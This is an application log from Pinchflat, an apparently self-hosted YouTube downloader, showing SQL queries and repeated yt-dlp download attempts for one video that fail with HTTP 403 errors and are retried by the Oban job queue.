m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:00:24.467 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:24.467 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:24.467 [debug] Running yt-dlp command for action: get_downloadable_status 03:00:24.468 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:24.468 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:24.468 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:24.468 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/42/9c/429c5297a988bb167b7c02d6a1f88cc6ee52ac72a05e83f6595156f5e89c7de1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:00:28.327 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/42/9c/429c5297a988bb167b7c02d6a1f88cc6ee52ac72a05e83f6595156f5e89c7de1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:00:28.327 [debug] Running yt-dlp command for action: download 03:00:28.328 [debug] QUERY OK source="settings" db=0.1ms idle=866.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:28.328 [debug] QUERY OK source="settings" db=0.1ms idle=800.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:28.328 [debug] QUERY OK source="settings" db=0.1ms idle=800.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:28.328 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cc/63/cc634640937f66d9a820024c06d4d265cc095250d1c4886f11e167d9e0ab87bf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:00:33.220 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cc/63/cc634640937f66d9a820024c06d4d265cc095250d1c4886f11e167d9e0ab87bf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 03:00:33.220 [error] yt-dlp download error for media item #13061: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 03:00:33.221 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":8756680,"event":"job:exception","queue_time":302071,"attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:00:51.150 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.450 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:01:21.152 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:51.154 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.451 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:02:21.155 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:51.156 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.452 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:03:08.649 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775026988649206004,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:03:08.649 [debug] QUERY OK source="media_items" db=0.1ms idle=121.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 03:03:08.649 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:03:08.650 [debug] QUERY OK source="sources" db=0.1ms idle=122.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:03:08.650 [debug] QUERY OK source="media_profiles" db=0.1ms idle=122.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:03:08.650 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 03:03:08.651 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 03:03:08.651 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:03:08.652 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:03:08.652 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:03:08.652 [debug] Running yt-dlp command for action: get_downloadable_status 03:03:08.652 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:03:08.652 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:03:08.653 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:03:08.653 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/11/39/113917f961854160c100b4faebeedf2b580f4f6b32bf5bec98975227eaed5904.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:03:12.386 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/11/39/113917f961854160c100b4faebeedf2b580f4f6b32bf5bec98975227eaed5904.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:03:12.386 [debug] Running yt-dlp command for action: download 03:03:12.386 [debug] QUERY OK source="settings" db=0.1ms idle=1858.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:03:12.387 [debug] QUERY OK source="settings" db=0.1ms idle=1859.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:03:12.387 [debug] QUERY OK source="settings" db=0.1ms idle=1859.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:03:12.387 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2d/9c/2d9c9f78e86970abe5d629ea17bc21235c7f5ccff1ed8800bd81fe2a7da05e7d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:03:17.024 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2d/9c/2d9c9f78e86970abe5d629ea17bc21235c7f5ccff1ed8800bd81fe2a7da05e7d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 03:03:17.024 [error] yt-dlp download error for media item #13061: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 03:03:17.025 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":8375803,"event":"job:exception","queue_time":427346,"attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:03:21.157 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:51.158 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.453 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:04:21.159 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:51.160 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.454 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:05:21.161 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:51.162 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.455 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:06:21.163 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:51.165 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.456 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:07:21.166 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:51.167 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.457 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:08:12.005 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775027292005615614,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:08:12.006 [debug] QUERY OK source="media_items" db=0.2ms idle=1478.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 03:08:12.006 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:08:12.006 [debug] QUERY OK source="sources" db=0.2ms idle=1009.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:08:12.007 [debug] QUERY OK source="media_profiles" db=0.1ms idle=479.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:08:12.007 [debug] QUERY OK source="media_items" db=0.3ms idle=8.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 03:08:12.008 [debug] QUERY OK source="media_metadata" db=0.2ms idle=2.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 03:08:12.008 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:08:12.009 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:08:12.009 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:08:12.009 [debug] Running yt-dlp command for action: get_downloadable_status 03:08:12.010 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:08:12.010 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:08:12.010 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:08:12.010 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/45/b8/45b811ec93e3d860c8b18c7a0d51ac44f867b1ba84d571831c688c3f9915d195.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:08:15.690 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/45/b8/45b811ec93e3d860c8b18c7a0d51ac44f867b1ba84d571831c688c3f9915d195.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:08:15.690 [debug] Running yt-dlp command for action: download 03:08:15.690 [debug] QUERY OK source="settings" db=0.1ms idle=688.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:08:15.690 [debug] QUERY OK source="settings" db=0.0ms idle=163.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 